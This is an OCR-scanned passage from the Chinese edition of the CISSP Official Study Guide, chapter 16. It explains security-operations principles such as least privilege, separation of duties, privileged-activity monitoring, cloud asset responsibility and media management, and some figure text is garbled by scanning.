授权她访 问 所有的机密数据 ， 因 为高级管理员仅仅授权她访 问在工作 中 需要知道的机密数据。
虽然知其所需经常与军事和政府机构中使用 的安全许可相关， 但也能应用在民用 组织中。 例如，
数据库管理员需要访问数据库服务器来执行维护 ， 但不需要访问服务器数据库中 的所有数据。 基于
知其所需的访问限制 有助 于抵御未授权访 问 导致的机密性丧失。
2. 最小特权原则
最小特权原则表明主体仅仅被授予执行己分配工作任务的特权， 不会拥有超出其工作任务的特
权。 记住这里所讲的特权包含了数据的许可权和执行系统任务的权限。 针对数据， 包含了 数据的控
制能力， 如阅读、 创建、 修改、 删除操作， 基于最小特权原则的限制和特权控制就可以保障数据的
机密性和完整性。 如果用户仅仅能修改为完成工作所需要修改的这些数据文件， 那么这将保护环境
第 16 章 管理安全运营
中 其他文件的完整性 。
注意 :
最小特权原则依靠如下假设: 全体用 户 都有每个人都能理解的明确定义的工作描述。 如果没有
确 定的 工作描述 ， 将不可能知道用 户 需要什么 样的 特权。
但是最小特权原则不仅仅延伸到数据访问， 也应用到了系统访问中。 例如， 网络中 的普通用户
能够使用一个网络账户登录网络中 的任何一台计算机。 然而， 组织通常通过阻止普通用户 登录服务
器或限制用户 登录单个工作站来限制这些特权。
组织违背最小特权原则的通常方式是增加所有用户到本地管理员 组或者授予某台计算机的根访
问权限。 这将给予用户 对计算机的完全控制权。 然而， 普通用户 很少需要这么多 的访问。 当他们有
这么多的访问时， 他们能意外地(或故意地)导致系统内部的破坏， 例如访问或删除有价值的数据。
此外， 如果用户 使用完整的管理员特权登录 ， 并无心安装了恶意软件， 恶意软件就能获取用户
账户 的整个管理员特权。 相 比之下， 如果用户使用普通用户账户 登录， 恶意软件仅仅能够获取普通
账户 的有限特权。
最小特权确保用户 的特权是受到约束的， 但最小特权也被应用在其他主体中 ， 如应用或进程。
例如， 服务和应用经常运行在一个账户 的上下文中， 该账户是由特定的服务或应用创建的。 从历史
观点来讲， 管理员经常授予这些服务账户 整个管理员特权， 而不考虑最小特权原则。 如果攻击者获
取了该应用 ， 他们能潜在地获得服务账户 的特权 ， 授予攻击者整个管理员 特权。
当知其所需和最小特权被授予、 聚合和传递信任时 ， 额外的人员概念 需要被考虑。
授予 授予特权涉及一系列用户获取的特权， 典型地是当第一次开通账户 时。 换句话说， 当管
理员创建用户账户时， 他们应确保该账户被分配了 适量的资源， 并且包括特权。 用户服务开通的过
程应该采用最小特权原则 。
聚合 最小特权环境下的聚合涉及用户 随着时间而收集到的一系列特权。 例如， 如果一个用户
从一个部门 转到另一个部门， 但同时-还是在一家公司任职， 这个用户会终止每个部门 的特权。 为 了
避免访 问 的聚合问题， 管理员在用 户转到不同部门 时应该收回特权， 使其不再拥有前一个部门 的
特权。
传递信任 非传递信任出现在两个安全域中 ， 这两个安全域可能在同一个组织也可能在不同的
组织之间。 这允许一个域中 的主体访问另一个域中 的客体。 传递信任扩展了两个安全域以及它们的
所有子域之间 的信任关系 。 在最小特权环境中 ， 检查这些域的信任关系非常重要， 尤其是在不同 的
组织间创建域。 非传递信任实施 了 最小特权原则并在某一时刻授予信任给单个域。
1 6. 1 .2 职责和责任分离
职责和责任分离确保没有单个人能控制某个关键功能或整个系统。 这很有必要， 能确保没有单
个人能危害到系统或系统的安全性。 相反， 两人或更多人必须共谋或串通违反组织， 这对于这些人
增加 了 被发现的风险。
职责分离策略建立了 一个相互制约和平衡的系统， 在这个系统中 ， 多个主体可以相互校验操作，
并且必须一起完成必要的工作任务。 职责分离使得恶意的、 欺诈的犯罪或其他未授权的活动变得更
加 困难， 并且拓宽了检测和报告的范围。 相比之下， 如果他们认为可以侥幸成功， 那么 执行未授权
活动是十分容易的， 但是涉及两人或更多人， 那么被发现的风险将会增加， 这通常会作为一种有效
465
466
CISSP 官方学习指南(第 7 版)
威慑。
有一些简单的例子。 电影院使用职责分离来预防欺诈。 一人卖票， 另外的人收票， 并且不允许
没有票的人进入。 如果同一个人既能收钱又能授权进入， 那么这个人就可能允许没有票的人进入电
影院， 或者将收到的钱放入 自 己口 袋而不发票。 当然， 也有可能卖票的人和收票人合谋， 并图谋从
电影院偷票。 这就是合谋， 因 为在两人或更多人之间必须达成某个协议来执行某些未授权的活动。
然而， 合谋将花费更多的精力且增加了每个人的风险。 职责分离策略能减少未授权共谋欺骗的实施。
类似地， 组织经常将一个过程分解为多人任务或职责， 并且分配这些职责到不同的人来预防欺
骗 。 例如， 某人批准有效的账单付款， 而其他人执行实际上的付款。 如果某人控制整个付款批准和
付款过程， 那么他将很容易批准伪造的发票来欺骗公 司 。
另 一种方式的职责分离是通过在多个可信个体中划分安全职责或管理能力来实施。 当组织在许
多用户 间 划分管理和安全职责时 ， 个人不可能有足够的访问权限来规避或禁用安全机制 。
1 . 特权分离
特权分离类似于任务和职责分离的概念， 建立在最小特权原则之上并应用到应用程序和进程中。
特权分离策略要求使用颗粒状的权限和许可。
管理员为每种类型的特权操作分配不同 的权限和许可。 他们仅仅授予必需的特权给特定进程来
执行一定的功能， 而不是授予他们对系统无限的访问权。
正像最小特权原则一样能应用到用户和服务账户 中 ， 特权分离的概念也能应用到用户和服务账
户中。
许多服务器应用有一些支持应用的潜在服务， 井且作为早期的描述， 这些服务必须运行在一个
账户环境中， 通常称为服务账户 。 针对服务器的应用拥有多个服务账户在今天是很常见的。 管理员
授予每个服务账户唯一的特权， 该特权需要在应用程序中才能执行相应的功能。 这样就支持了特权
分离策略。
2. 职责划分
职责划分类似于任务和职责分离策略， 但也结合了最小特权原则。 职责划分的 目 标是确保个人
没有可能导致利益冲突的额外系统访问。 当职责被完全分离时， 单个雇员将没有能力制造欺骗或犯
错误， 并且也没有能力来掩盖错误。 在职责被划分时， 类似于职责分离， 也类似于在特权被限制时
的 最小特权原则 。
职责划分策略对于任何一家必须遵守 2002 萨班斯-奥克斯利法案(SOX)的公司都是高度相关的 ，
因 为 SOX 明确指出需要进行职责划分。 然而， 在任何 π 环境中执行职责划分策略也是有可能的 。
注意 :
SOX 被应用 于所有的上市公司 ， 上市公司 都 已经在证券交易委员会(SEC)那里注册了抵押和欠
债状况。 美国政府通过 SOX 法案作为对许多知名 度较高的金融丑闻的一种响应 ， 这些金融丑闻 曾
经导致股东数以亿计美元的损失。
其中， 在组织内部实施职责划分最常见的是确保安全职责从其他职责中分离出来。 换句话说，
负责审计、 监控和安全审查的个人没有其他操作职责， 这些操作职责与他们正在执行的审计、 监控
和审查活动有关联。 无论任何时候， 安全职责都将结合其他操作职责， 因此个人能使用他们的安全
特权来掩盖与他们的操作职责相关 的活动 。
第 16 章 管理安全运营
图 1 6. 1 给出了一个基本的职责划分控制矩阵， 它在组织内部对比不同的角 色和任务。 使用 X 标
识的区域表明 了 要避免潜在的冲突。 例如， 考虑个应用手里芋员和安全管理员 。 程序员能对应用执行
未授权的修改， 但是安全管理员将通过审计或审查检测出未授权的修改 。 然而， 如果某人拥有这两
项工作的职责(和特权)， 此人将修改应用 井掩盖修改来防止被检测到 。
H 耐
脚后12仲
tF在回归部
山拍E甘于嗣同
H耐运量时间
mrz←梅尔忡忡悟
，民梆梆部hm国『世辑领
相叫附加世阳相帮
眠险制棋臣时间
略时阳阳刷刷刑制
角 色/任务
X X X X
冲突的潜在区域
职责分离控制矩阵
注意 :
职责划分控制矩阵中 的 角 色和任务不是所有组织使用 的标准。 一般组织会裁剪 角 色和职责， 使
其 更适用 于组织 内部。 例如， 图 16. 1 中 的这个矩阵为我们提供了确定潜在冲 突 的指 引 。
图 1 6.1
理论上， 一般个人将不会被分配两个有利益冲突的角色。 然而， 如果环境需要分配有利益冲突
的角色， 我们将实施补偿控制来缓解风险。
3. 双人控制
双人控制类似于职责划分， 需要两个人认同关键任务。 例如， 需要两把钥匙才能打开银行的安
全存款箱。 银行的一个雇员 控制着一把钥匙， 顾客控制着另一把钥匙。 要开箱， 需要两把钥匙， 且
银行雇员 允许一个顾客访 问 箱子仅仅是在验证了 该顾客的身份之后 。
在组织内使用双人控制确保了并行互审并减少了共谋和欺骗的可能性。 例如， 组织能够要求公
司内的两个人(例如首席财务官和首席执行官)来批准关键业务决策。 此外 ， 配置某些特权活动 以便
需 要两个管理员 来共同完成一个任务。
分解知识结合职责分离和双人控制概念到单个解决方案中 。 基本思想是信息或权限需要执行一
个操作， 该操作在两个或多个用户 间被划分。 这就确保没有任何个体有充足的特权来危害环境的安
全性。
467
岗位轮换
通过使用 岗位轮换来执行进一步控制和限制特权能力。 岗位轮换简单来讲就是轮换职责， 或者
至少某些工作职责被轮换到不同的雇员。 使用 岗位轮换作为安全控制可以提供井行审查、 减少欺骗
1 6. 1 .3
468
CISSP 官方学习指南(第 7 版)
并促进交叉培训11 。 交叉培训11使得环境很少依赖任何单个个体。
岗位轮换既能作为威慑， 也能作为检测机制。 如果雇员知道在将来的某些时点， 将由其他人担
负他们的工作职责， 他们最不可能做的就是参与欺诈行为。 如果他们依然选择欺骗 ， 担负工作职责
的他人很容易发现他们的欺骗行为。
1 6. 1 .4 强制休假
许多组织要求雇员在一周或两周 以上时间强制休假。 这将提供一种并行互审的形式， 并且有助
于检测欺诈和共谋。 该策略确保了 其他雇员 接替一个人的工作职责至少一个星期的时间。 如果一个
雇员涉及欺诈 ， 接 替该职责的 人将会发现其欺诈行为。
这类似于岗位轮换带来的好处 。 强制休假既能作为威慑， 也能作为检测机制， 就如岗位轮换策
略一样。 尽管其他人也就接替一个人的职责一周或两周时间， 但这足够来检测到一些违规行为。
注意 :
金融组织存在因雇员 的欺骗行为导致重大损失的风险。 千岛们常常使用 岗 位轮换、 职责分离 和强
制休假策略未减 少风险。 结合这些策略有助 于预防事件 ， 也有助 于在事件发生 时进行检测 。
1 6. 1 .5 监控特殊的特权
特殊的特权操作是一项需要特殊访问或较高的权限来执行许多管理员和敏感工作任务的活动。
这些任务包括创建新用户账户 、 增加新路由到路由表、 修改防火墙配置、 访问系统日 志和审计文件 。
使用通用 的安全实践， 例如最小特权原则， 确保数 目 有限的人才能有这些特殊的特权。 监控确保授
予这些特权的人不能滥用特权。
有较高特权的账户经常作为特权实体， 特权实体能访问特殊的、 对普通用户来说不可访问的高
级功能。 如果误用， 这些较高的权限能导致组织资产的机密性、 完整性和可用性受损 。 基于此， 监
控特权实体及其访 问 是非常重要的 。
在大部分情况下， 这些高级特权都仅限于管理员和某些系统操作 员 。 在该环境中， 系统操作员
是需要额外特权来执行特定工作职能的用户 。 普通用户 (或普通系统操作员)仅仅需要最基本的特权
来完成他们的工作 。
拥有这些特权角色的雇员常常是可信雇员 。 然而 ， 存在许多原因会使一个雇员从可信雇员变为
心怀不满的雇员或恶意的 内部人员 。 改变可信雇员行为的原因可能和低于预期的奖金、 负面的绩效
评审或者仅仅因为个人对其他雇员 的怨恨一样简单。 然而， 通过监视特殊特权的使用 ， 组织能够防
止雇员滥用特权， 并检测可信雇员 是否存在滥用行为。
通常， 任何类型的管理员账户都有高级特权并应该被监控。 也能授予用户 较高的特权但不给用
户授予所有的管理访 问权。 按照这个思路， 当某个用户有特定的高级特权时， 监控用户 的行为也是
重要的 。 下面的列表包含某些监控特权操作的例子:
• 访问审计日志
• 改变系统时间
· 配置接 口
• 管理用户账户
第 1 6 章 管理安全运营
• 控制系统重启
• 控制通信路径
• 备份并恢复系统
• 运行脚本/任务 自 动化工具
• 配置安全机制控制
• 使用操作系统控制指令
• 使用数据库恢复工具和 日 志文件
许多 自动化工具能够监视这些特权操作活动， 当管理员或特权操作员 执行以上这些活动时， 该
工具能记录 日 志并发送警告 。 此外， 访 问 审查审计能检测这些特权的滥用 。
注意 :
特定的特权监控任务与其他基本原、则可以一起协同使用 ， 例如最小特斗又原则和职责分离 。 换句
话说， 最小特权原则和职责分离有助于 阻止安全策略的违反活动， 且不管是否使用 了 预防控制 ， 监
控活动都有助 于 阻止并检测任何违规行为 的发生 。
1 6. 1 .6 管理信息生命周期
第5章 " 保护资产的安全" 讨论了各种保护数据的方法。 当然， 不是所有的数据都受到同样级
别 的保护。 然而， 组织将给数据分类下定义， 并基于分类来确定保护数据的方法。 组织定义数据分
类 ， 并在安全策略内发布该分类。 某些通用的数据分类被政府使用 ， 包括绝密、 机密 、 秘密和未分
类 。 民用分类包含机密(或专有)、 私有、 敏感和公开。
安全控制保护了 整个生命周期内的信息。 通用方法包括标记 、 处理、 存储和恰当销毁数据。
标记数据 数据标记(或标签)确保用户 能很容易地识别数据的价值。 用户应该在创建数据后不
久就标记它们。 例如， 绝密数据的备份应该被标记为绝密。 类似地， 如果一个系统处理敏感数据，
该系统应该使用合理的标签来标记。 除了外部系统的标记外， 组织经常配置壁纸和屏幕保护来清晰
地表明在系统中处理数据的等级。 例如， 处理机密数据的系统必须有壁纸和屏幕保护 ， 目 的是清晰
地表明 系统在 处理机密数据 。
处理数据 数据处理主要涉及数据的传输， 并且关键是在传输过程中提供与数据存储时相同级
别 的保护。 例如， 在数据中心， 存储在一台服务器上的敏感数据有许多安全控制来保护它们。 在敏
感数据存储位置之外时， 数据的备份需要得到保护。 保护的级别依赖于数据的价值。 类似的， 传输
中 的数据(网络上的传输)需要基于数据的价值提供保护。 在发送数据之前对其进行加密 以提供这种
数据保护 。
存储数据 数据存储的位置需要得到保护以防止丢失。 数据主要存储在磁盘驱动上， 并且需要
有人去周期性地备份有价值的数据 。 存储敏感信息的备份位于一个位置， 而其拷贝存放在另一个位
置 。 物理安全机制防止这些备份被偷盗。 有关环境的安全控制能 防止数据 由 于腐 蚀而丢失。
销毁数据 当数据不再需要时销毁数据， 且 以一种数据不可读的方式来销毁。 简单地删除文件
不能完全删除数据， 而只是标记数据为删除， 所以这不是一种删除数据的有效方式。 当 需要时， 技
术人员和管理员使用不同种类的工具来移除所有的可读文件元素。 常常使用l和 0 序列 的模式来覆
盖文件或磁盘， 或者使用其他的方法来粉碎文件。 当删除敏感数据时 ， 许多组织需要专人来销毁磁
盘 ， 目 的是确保数据不可访 问 。
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CISSP 官方学习指南(第 7 版)
1 6. 1 .7 服务级别协议
服务级别协议(SLA)是组织和外部实体(如供应商)之间 的一份协定。 SLA 保证对性能的期望被满
足 ， 也常常包含如果供应商不能满足这些期望会受到的处罚 。
举个例子， 许多组织使用基于云的服务来租用服务器。 供应商提供对服务器的访问 ， 并对服务
器进行维护来确保服务器是可用的 。 组织能使用 SLA 来确定诸如最大故障时间的可用性。 沿着这个
思路， 公 司在与第三方合作时 ， 应该清晰地知道 自 己的 需求 ， 并确保 SLA 中 包含这些需求。
除了 SLA 之外， 公司常常使用备忘录协议(Memorandum of Understanding， MOU)和/或互联安
全协议(Interconnection Security Agreement， ISA)o MOU 记录了两个实体朝着共同 目 标在一起工作的
意图。 虽然 MOU 类似于 SLA， 但它是非正式的， 且不包含对其中某个合作方不负责时的处罚 。
如果用双方或多方计划来传输敏感数据 ， 他们能使用ISA来确定连接的技术需求。 ISA提供了 通
信双方如何建立 、 维持和断开连接 的信息。 也 能使用最小加密方法来确保数据安全。
注意 :
NIST 专业出版物 800-47 "互联信息技术系 统的安全指南" 中 包才舌详细的关于 MOU和ISA 的
信息。
1 6. 1 .8 关注人员安全
关注人员安全是安全运营中非常重要的安全因素。 代替数据、 服务器甚至整个建筑物等物体是
有可能的。 但对比之下， 不可能代替人。 顺着这个思路， 公司应该实施安全控制来增强人员安全。
举个例子， 考虑在数据中心的安全出 口 用 电子加密锁来控制 。 如果火灾导致电力故障， 安全门
会自动解锁还是继续维持锁住状态? 公司认为服务器机房中 的资产价值比人员安全价值高， 所以决
定保持安全门处于锁住状态 。 这保护了 数据中心的物理资产。 然而， 也在冒着危及房间 内人员生命
安全的风险， 因为人们不容易逃出房间 。 对 比之下， 当没电时， 因为公司认为人员安全价值比服务
器机房 中 的资产价值高， 所以决 定保持安全门处于解锁状态。
当人员单独工作时胁迫系统是有用的。 例如， 下班后的单名保安还在守护着大楼。 如果一群人
破门而入大楼， 保安可能无法独自 阻止他们 。 然而， 保安能使用胁迫系统报警。 简单的胁迫系统仅
仅需要按一下按制t能发出求救信号。 监控机构收到求救信号后根据常规相芋做出 响应。 监控机构
可能给发出求救信号的人打电话或发送一条文本消息。 在这个例子中 ， 保安通过确认现状做出 响应。
安全系统常常包括密语或人们用来确认一切事物都 OK 的短语， 或者验证存在问题。 例如， 一
条代码短语表明一切都 OK， 这可能表示 " 一切都是好的"。 如果保安不小心激活了 胁迫系统， 并且
监控机构也做出 了 响应 ， 保安说 " 一切都是好的"， 然后解释所发生的一切。 然而， 如果犯罪分子看
透保安的意图， 就可能会略过该短语并且通过虚构保安是如何意外激活胁迫系统的故事来代替。 监
控机构将识别保安发过的密语并提供帮助 。
另 一种安全需要关注雇员 出差时的安全问题， 因 为罪犯最有可能将 出差的公司雇员作为他们的
袭击对象。 对员工进行安全实践培训11 ， 可以使得这些员工在旅游日才能增加他们的安全性井阻止安全
事件的发生。 这包含一些较为简单的事情， 例如在打开旅馆房门之前检查个人的身份。 如果房间的
服务包含免费赠送的食物 ， 给前台 打个 电话确认酒店是否提供了 该项服务 ， 以 防欺诈。
第 16章 管理安全运营
1 6.2 提供和管理资源
安全运营知识域的另一个元素是整个生命周期中的资源配置及管理， 这包括多种类型的资产，
如硬件、 软件、 物理资产、 虚拟资产和基于云的资产。 {尉户数据资产也很重要 。 第 5 章 己深入剖析
对数据资产的保护 。
1 6.2.1 管理硬件和软件资产
本书中 ， 硬件指信息技术资源， 如计算机、 服务器和外设。 软件包括操作系统和应用程序。 组
织经常清点库存以便对软硬件进行跟踪 。
1 . 硬件清单
贯穿设备的整个生命周期 ， 许多组织使用数据库和库存应用程序来清点库存和跟踪硬件资产。
例如， 条形码系统可以打印条形码并放置在设备上。 条形码数据库中包含硬件的相关细节， 如型号、
序列号和位置。 定期使用条码 阅读器对所有条码进行人工扫描来验证组织是否仍对硬件可控。
类似的方法还有使用无线射频识别仪FID)标签， 它可以将信息传送到几英里以外的射频识别阅
读器。 将射频识别标签人工放置在设备上， 并使用射频识别阅读器来清点所有的设备。 射频识别标
签和射频识别阅读器比条形码和条形码阅读器更贵 。 然而， 射频识别方法显著减少了 清点库存的
时间。
在设备进行处理之前要进行人工净化。 清除设备中的所有数据， 以确保未授权的人员不会访问
到敏感信息 。 生命周期即将结束时， 设备中 的数据很容易丢失， 所以使用清单来净化系统往往是有
价值的。 检查表可清理硬盘、 非 易失性存储器和可移动介质 ， 如系统中 的 CD、 DVD 和 USB。
保存敏感数据的便携式介质设备也被视为一种资源。 例如， 组织可以在便携式介质设备上使用
条形码标签， 并使用条形码库存系统定期完成库存清点。 这使他们能够对含有敏感数据的介质设备
进行定期盘点。
2. 软件许可
组织购买软件， 并经常使用许可证密钥来激活软件。 激活过程通常需要在互联网上连接一台许
可证服务器 ， 以 防止盗版。 如果许可证密钥泄露， 该服务器能够使密钥失效。
例如， 一个组织购买了可以安装 5 个软件产品 的许可证密钥 ， 但只立即安装并激活了 一个。 如
果该密钥被盗， 被安装在其他组织的 4 个系统上并成功激活。 当该组织尝试在内部系统上安装时，
激活就会失败。 因此， 对于组织来说任何类型的 许可证密钥都是非常重要的 ， 需要加 以保护 。
软件许可也能够确保系统没有未授权的软件被安装。 许多工具都可用来对系统进行远程监控以
便检测到系统的详细数据。 例如， 微软的系统中心配置管理器(ConfigMgr)是一款服务器产品 ， 可监
控每个系统。 Confi卧19r 具有广泛的功能， 包括识别安装的操作系统和应用程序。 这使得它能够识
别系统中运行 的未授权软件， 并帮助组织确保符合软件许可规则 。
注意 :
ConfigMgr 等工具需要定期扩充功能。 例如， ConfigMgr 现在 已具有连接到移动设备的能力 ， 包
括那些运行 Wmdows操作 系统、 苹果 iOS 和 Android 操作系 统的设备。 除 了 识别操作系统和应用 程
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CISSP 官方学习指南(第 7 版)
序外， 还可以根据预定义的要求， 确保客户 设备状态 良好， 女口运行防病毒软件或具有特定的安全设
直的配直功 能 。
1 6.2.2 保护物理资产
物理资产在 IT 硬件之外， 包括所有的物理设施， 如组织的办公建筑及其内部设施。 保护物理资
产的方法包括栅栏、 路障、 门锁、 安保、 闭路 电视(CCTV)系统等 。
组织在规划布局时， 通常把敏感的物理资产定位到建筑物的中心。 这就使得组织能够实施逐步
加强的物理安全控制 。 例如， 组织会把装有多个服务器的数据中 心定位在更靠近建筑物中心的房间。
如果数据 中 心坐落在靠近外墙的位置， 攻击者可能驾驶卡车穿过墙壁井窃取服务器。
类似的 ， 任何人可以经常进入建筑物的公共入口 。 但是附加的物理安全控制限制对内 部工作区
域的进出 。 密码锁、 陷阱、 安全徽章和保安是用 来控制进出 的常用方法。
1 6.2.3 管理虚拟资产
为 了大幅度节约成本， 组织逐步使用越来越多的虚拟化技术。 例如， 组织可以将 1 00 台物理服
务器减少到 1 0 台 ， 托管 1 00 台虚拟服务器。 这降低了供暖、 通风、 空调、 电力和整体运营成本。
虚拟化不仅仅针对服务器。 软件定义一切(SDx)是指以软件代替硬件的虚拟化趋势。 在此概念下
的虚拟资产包括:
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虚拟机(VM) 虚拟机类似于物理服务器上的客户操作系统。 物理服务器具有计算能力 、 内存和
磁盘存储能力 ， 能够满足虚拟机的需求。
软件定义网络(SDN) SDN能够将控制平面从数据平面(或转发平面)中分离出来。 控制平面使用
协议来决定向哪里发送信息 ， 而载有规则的数据平面决定是否转发信息。 不同于传统的网络设备，
如路由器和交换机， SDN控制器使用能够接收控制器指令的简单网络设备。 这消除了一些与传统的
网络协议相关的复杂性。
虚拟存储区域网络(VSAN) SAN是含有多个存储设备的专用高速网络。 它们经常与需要高速访
问数据的服务器一起使用 。 很久 以来 ， 由于复杂的硬件要求， S剧的价格居高不下。 VSAN通过虚
拟化绕过 了 这些复杂性。
虚拟化中 的主要软件组件是管理程序。 虚拟机管理程序管理虚拟机、 虚拟数据存储和虚拟网络
组件。 作为物理服务器上附加的一个软件层， 它也是另外的一个攻击面。 如果攻击者能够破解物理
机， 那么就可 以访问托管在物理服务器上的所有虚拟系统。 管理员往往格外小心， 以确保虚拟主机
不被侵入。
虽然虚拟化可以简化许多 IT 概念， 但我们仍要牢记: 许多相同的安全基本要求仍然适用 。 例如，
每个虚拟机仍然需要单独更新。 更新主机系统不能更新虚拟机。 此外 ， 组织应保留虚拟资产的备份。
许多虚拟化工具都具有内置的工具来创建虚拟系统的完整备份， 并创建定期快照， 以便及时进行较
为方便的数据恢复 。
1 6.2.4 管理基于云的资产
基于云的资产包括组织使用云计算访问 的任何资源。 云计算是指几乎可从任何地方提供按需访
第 1 6 章 管理安全运营
问 的计算资源， 且云计算资源高度可用 、 易于扩展。 组织通常从其他组织租用基于云的资源， 但也
可在组织内部管理云资源。 其中面临的一个主要的挑战是， 这些资源是在组织的直接控制之外， 这
使得组织更难 以管理风险。
一些基于云的服务只提供数据存储和访问。 当在云中存储数据时， 组织必须确保安全控制能防
止未授权的数据访问 。 此外， 组织应正式定义存储和处理存储在云中 的数据的要求。 举一个例子，
在对计算资产的使用进行评估时， 美国 国 防部的云计算安全要求指南为美国政府机构定义了特定要
求 。 这个文档为资产定义 了 计算需求， 用 6 个独立的信息影响级别标记了 机密及其以下级别 。
根据服务模式， 可分为不同程度的资产责任。 其中包括维护资产， 以确保它们维持功能， 并保
持系统和应用程序更新补丁。 在某些情况下， 云服务提供商(CSP)对这些步骤负责。 在其他情况下 ，
由消费者负责。
软件即服务(SaaS) SaaS 模型经常通过Web浏览器提供全功能的应用程序。例如， 谷歌的 αnail
是一个 SaaS 应用 。 CSP 负 责所有 SaaS 服务的维护 。 消 费者不管理或控制任何基于云的资产 。
平台即服务(PaaS) PaaS 模型为消费者提供了 一个计算平台， 包括硬件、 操作系统和应用程序。
在某些情况下， 用户通过 CSP 提供的清单安装应用 。 消 费者管理他们的应用程序， 并可以在主机上
设置一些配置。 然而 ， CSP 负责主机和底层的云基础设施的维护 。
基础设施即服务(laaS) IaaS 模型为消费者提供基本的计算资源， 这包括服务器、 存储和某些
情况下的网络资源。 消费者安装操作系统和应用程序 ， 并执行所有必要的操作系统和应用程序的维
护 。 CSP 维护基于云的基础设施， 确保消费者获得租赁系统。 当对公共服务进行评估时， IaaS 和 PaaS
模式之间的区别并不是很清晰。 然而， 当租赁基于云的服务时 ， 理解 CSP 使用 的标签， 没有理解执
行不 同维护和安全措施的 负责人所使用 的标签那么重要 。
提示 :
NIST SP 800-145 "NIST 云计算的定义" 提供了许多 云服务的标准定义， 包括服务模型(SaaS、
PaaS、 laaS)的定义和部署模型 的定义(公共、 私人、 社区和混企). NIST SP 800-144 "公共云计算中
的 安全和隐私原则" 提供 了 与 云计算相关 的 更深层次、 史细致的安全问题。
云部署模型也影响云计算资产的责任。 4 种可用的云模型分别为公共型、 私有型 、 混合型、 社
区型。
• 公共云模型包括可用于任何消费者租用的资产并由夕阳l CSP 管理。 服务水平协议可以有效
地保证 CSP 提供组织可接受水平的云服务。
• 私有云部署模型包括组织的基于云计算的资产。 组织可以使用 自 己 的资源创建和管理私有
云 。 组织负责所有维护工作 。 然而， 组织也可以从第三方租赁资源并按照服务模型(SaaS、
PaaS 或 IaaS)分割维护要求。
• 社 区云部署模型为两个或多个组织提供云基础资产。 维护责任根据对资产和服务模型的管
理来分配。
• 混合云部署模型包括两个或两个以上的云组合。 类似于社区云部署模型， 基于对资产和服
务模型 的管理， 维护责任共享 。
1 6.2.5 介质管理
介质管理是指采取措施保护介质和存储在介质上的数据。 本书中 ， 介质是指可以保存数据的任
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CISSP 官方学习指南(第 7 版)
何事物， 包括磁带、 CD 和 DVD 光盘、 便携式 USB 或 FireWrre 驱动器、 外部 SATA(eSATA)驱动器、
内 部硬盘、 固态硬盘、 USB 闪存驱动器。 许多便携式设备， 如智能手机， 包括存储卡， 因为可以容
纳数据， 故它们也属于这一类。 介质还包括任何类型的硬拷贝数据。 磁带常用于备份， 所以介质管
理直接涉及磁带。 然而， 介质管理的扩展范围则超出了备份磁带 ， 可延伸到任何类型的可保存数据
的介质 。
当介质设备包含敏感信息时 ， 信息应被存储在安全的位置， 加 以严格的访问控制 ， 以防止由于
未经授权的访问造成损失。 此外， 用于存储介质设备的任何位置都应该有温度和湿度控制， 以防止
因腐蚀而 引 起 的损失。
介质管理还可以包括使用技术控制来限制来 自于计算机系统的设备访问 。 例如 ， 由 USB 驱动器
引 发的风险。 许多组织使用技术控制来阻止他们使用并J3J或在用户 使用时进行检测和记录。 在某些
情况下， 通过书面安全策略禁止 USB 闪存驱动器的使用 ， 并使用 自 动检测方法检测， 如有违反行为
立刻报告。
注意 :
USB 问存驱动器的主要风险是感染恶意软件和窃取数据。 当用户插入 USB 驱动器时， 感染病
毒的操作系 统可以检测并感染该 USB 驱动器。 当用户将这个被感染的 USB 驱动器插入到 另 一个 系
统中时， 恶意软件将试图感染第二个系统。 此外， 恶意用 户 可以很容易地复制和传输大量的数据，
并把驱动器 隐藏在他们 的 口袋中。
正确管理介质可保持信息的机密性、 完整性和可用性。 正确标记、 处理、 存储介质信息能够防
止未经授权的披露(保密性的缺失)、 未经授权的修改(完整性的缺失)和未经授权的破坏(可用性的
缺失)。
闪存驱动器控制
许多组织将 USB 闪存驱动器限制在组织提供和购 买 的特定品牌范围 内 。 这使得组织能够对 USB
闪存驱动器上的数据进行保护， 并确保驱动器不被用 来在系统之间传输恶意软件。 使用 USB 闪 存驱
动 器对于用 户 来说仍有 益处 ， 此方法在 不妨碍用 户 使用的同 时降低 了 组织的风险。
例如， Imation 销售 的 lronKey 问存驱动器 内直了多个保护级别 。 应用 多 种认证机制以确保只有
投权用 户 可以访问驱动器上的数据 ， 并且内 直 AES 256 位硬件加密设备来保护数据。 闪存驱动器的
主动反恶意软件有助于防止恶意软件感染驱动器。 lronKey 企业版中含有 "银弹" 服务， 用 来保护
丢失或被盗的数据设备。 这项服务可以远程拒绝所有的数据访问 、 禁用 或启动 自 毁程序摧毁该设备。
"自毁" 也许能使我们联想到科幻 电影 中 的一次大爆炸的场景。 然而， lronKey 自 毁功能不会引起
爆炸 ， 而是毁坏设备中 的所有数据和设直。
1 . 磁带介质设备
组织通常将备份存储在磁带上， 但磁带常因腐蚀而很容易损坏。 最佳的方法就是保存至少两份
备份。 一份保存在外部， 必要时立即使用 。 另一份保存在安全的位置。 如果发生灾难性的破坏 ， 如
火灾破坏 了 主要备份， 仍可用备用备份找到数据。
存储区的清洁度将直接影响磁带介质设备的寿命和实用性。 此外 ， 磁场就像消磁器， 能够擦除
或损坏磁带上的数据。 所以， 磁带不应暴露于磁场中， 如 电梯 电机、 打印机和旧的 CRT 显示器都有
磁场。 这里是管理磁带介质设备的一些指南:
第 1 6 章 管理安全运营
• 为防止新介质设备沽染灰尘和污垢， 应保持它们在原始密封包装中 直到使用 。
• 打开介质设备包装时要格外谨慎 ， 不 以任何方式损害介质设备， 这包括使其避免尖锐物体
且不扭 曲 或弯 曲 介质设备。
• 避免将介质设备暴露于极端温度: 不可将其靠近加热器、 散热器、 空调或其他极端温度源
存储。
• 不使用 己损坏或暴露在灰尘 、 污垢中 及摔落的介质设备。
• 介质设 备应在装有温度控制 的车辆中运送。
• 介质设备应避免暴露于外界环境: 避免阳光、 水分、 潮湿、 过热、 过冷。
• 介质设备应适应 24 小时后再使用 。
• 从备份设备的出发点运输到安全的异地存储位置的整个过程应采取适当 的安全措施 。 介质
设备在运输过程 中 的任何一点都容易受到损坏或盗取。
• 基于对介质设备的分类水平标准， 应在其整个生命周期采取适当的安全措施 。
2. 移动设备
移动设备包括智能手机和平板电脑。 这些设备有内部存储器或可移动存储卡， 可 以容纳大量的
数据。 数据可以包括含有附件的电子邮件、 联系人和计划信息。 此外， 许多设备都安装了 允许用户
读取和处理不同类型文档的应用程序。
组织经常为员工购买智能手机， 并保存其中 的数据。 这对于员工来说当然是很好的福利 ， 但也
